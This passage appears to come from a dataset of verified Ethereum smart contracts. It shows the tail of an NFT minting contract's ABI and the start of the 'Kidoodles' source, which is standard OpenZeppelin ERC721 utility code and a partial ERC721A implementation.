inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"boughtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"target","type":"address"},{"internalType":"bytes32[]","name":"proof","type":"bytes32[]"}],"name":"getContractInfo","outputs":[{"internalType":"bool","name":"_hasPresaleStarted","type":"bool"},{"internalType":"bool","name":"_hasPublicSaleStarted","type":"bool"},{"internalType":"uint256","name":"_maxTokensAllowed","type":"uint256"},{"internalType":"uint256","name":"_tokenPrice","type":"uint256"},{"internalType":"uint256","name":"_boughtAmount","type":"uint256"},{"internalType":"uint256","name":"_purchasedAmount","type":"uint256"},{"internalType":"uint256","name":"_presaleTotalLimit","type":"uint256"},{"internalType":"bytes32","name":"_whitelistRoot","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"target","type":"address"},{"internalType":"bytes32[]","name":"proof","type":"bytes32[]"}],"name":"getMaxTokensAllowed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTokensPresale","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTokensPublic","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"min","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"bytes32[]","name":"proof","type":"bytes32[]"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"mintStage","outputs":[{"internalType":"enum MOE.MINT_STAGES","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"to","type":"address"}],"name":"mintTeam","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"purchased","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"safeSubtract","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"URI","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"val","type":"uint256"}],"name":"setMaxTokensPresale","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"val","type":"uint256"}],"name":"setMaxTokensPublic","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"val","type":"uint256"}],"name":"setTokenPricePresale","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"val","type":"uint256"}],"name":"setTokenPricePublicSale","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"URI","type":"string"}],"name":"setURIExtension","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"URI","type":"string"}],"name":"setUnrevealedURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_whitelistRoot","type":"bytes32"}],"name":"setWhitelistRoot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startPresale","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startPublicSale","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"stopSale","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamMintedAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenBaseURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenPricePresale","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenPricePublicSale","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"unrevealedURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bytes32[]","name":"proof","type":"bytes32[]"}],"name":"verify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"whitelistRoot","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.12+commit.f00d7308 | true | 200 | Default | MIT | false | ipfs://fb5e2941276947832c8e366e4d209174b26939f57ba3d35803c90eb6cf2932c7 |
|||
Kidoodles | 0xc1f32b6920dd1f521d6dc6160a1ba0381f6beab4 | Solidity | // File: Address.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: ERC165.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: ERC721.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./IERC721Metadata.sol";
import "./Address.sol";
import "./Context.sol";
import "./Strings.sol";
import "./ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overridden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: ERC721A.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import './IERC721.sol';
import './IERC721Receiver.sol';
import './IERC721Metadata.sol';
import './IERC721Enumerable.sol';
import './Address.sol';
import './Context.sol';
import './Strings.sol';
import './ERC165.sol';
error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error ApprovalToCurrentOwner();
error BalanceQueryForZeroAddress();
error MintedQueryForZeroAddress();
error BurnedQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerIndexOutOfBounds();
error OwnerQueryForNonexistentToken();
error TokenIndexOutOfBounds();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error URIQueryForNonexistentToken();
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
*
* Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256).
*/
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using Address for address;
using Strings for uint256;
// Compiler will pack this into a single 256bit word.
struct TokenOwnership {
// The address of the owner.
address addr;
// Keeps track of the start time of ownership with minimal overhead for tokenomics.
uint64 startTimestamp;
// Whether the token has been burned.
bool burned;
}
// Compiler will pack this into a single 256bit word.
struct AddressData {
// Realistically, 2**64-1 is more than enough.
uint64 balance;
// Keeps track of mint count with minimal overhead for tokenomics.
uint64 numberMinted;
// Keeps track of burn count with minimal overhead for tokenomics.
uint64 numberBurned;
}
// The tokenId of the next token to be minted.
uint256 internal _currentIndex;
// The number of tokens burned.
uint256 internal _burnCounter;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
// Counter underflow is impossible as _burnCounter cannot be incremented
// more than _currentIndex times
unchecked {
return _currentIndex - _burnCounter;
}
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
uint256 numMintedSoFar = _currentIndex;
uint256 tokenIdsIdx;
// Counter overflow is impossible as the loop breaks when
// uint256 i is equal to another uint256 numMintedSoFar.
unchecked {
for (uint256 i; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (!ownership.burned) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
}
revert TokenIndexOutOfBounds();
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
if (index >= balanceOf(owner)) revert OwnerIndexOutOfBounds();
uint256 numMintedSoFar = _currentIndex;
uint256 tokenIdsIdx;
address currOwnershipAddr;
// Counter overflow is impossible as the loop breaks when
// uint256 i is equal to another uint256 numMintedSoFar.
unchecked {
for (uint256 i; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.burned) {
continue;
}
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
}
// Execution should never reach this point.
revert();
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
if (owner == address(0)) revert BalanceQueryForZeroAddress();
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
if (owner == address(0)) revert MintedQueryForZeroAddress();
return uint256(_addressData[owner].numberMinted);
}
